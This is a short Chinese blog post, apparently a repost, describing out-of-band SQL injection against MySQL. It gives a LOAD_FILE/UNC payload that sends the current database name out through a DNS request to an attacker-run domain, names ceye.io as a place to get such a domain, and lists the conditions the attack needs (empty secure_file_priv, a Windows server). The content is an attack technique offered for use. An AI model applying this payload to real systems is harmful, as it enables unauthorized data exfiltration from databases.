mysql 带外注入

带外通道

payload

 SELECT LOAD_FILE(CONCAT(‘\\\\‘,( SELECT DATABASE() ),‘.xx.xx\\x));

其中的load_file的地址为一个远程文件，mysql在load_file()一个远程文件时会发送dns请求包去解析，所以可以带出数据，‘\\data.xx.xx\x‘ ，xx.xx为自己的服务器名，没有的话可以去这里申请一个 ceye.io

mysql带外注入条件

( ps. 修改mysql.ini 文件，在[mysqld] 下加入 secure_file_priv =   )

mysql 新版本下secure-file-priv字段 ： secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

• 当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
• 当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
• 当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制

2. 从payload看出load_file的路径是windows下的UNC路径，所以mysql带外注入只能发生在windows机器上

UNC路径

测试

原文地址：https://www.cnblogs.com/leixiao-/p/9876313.html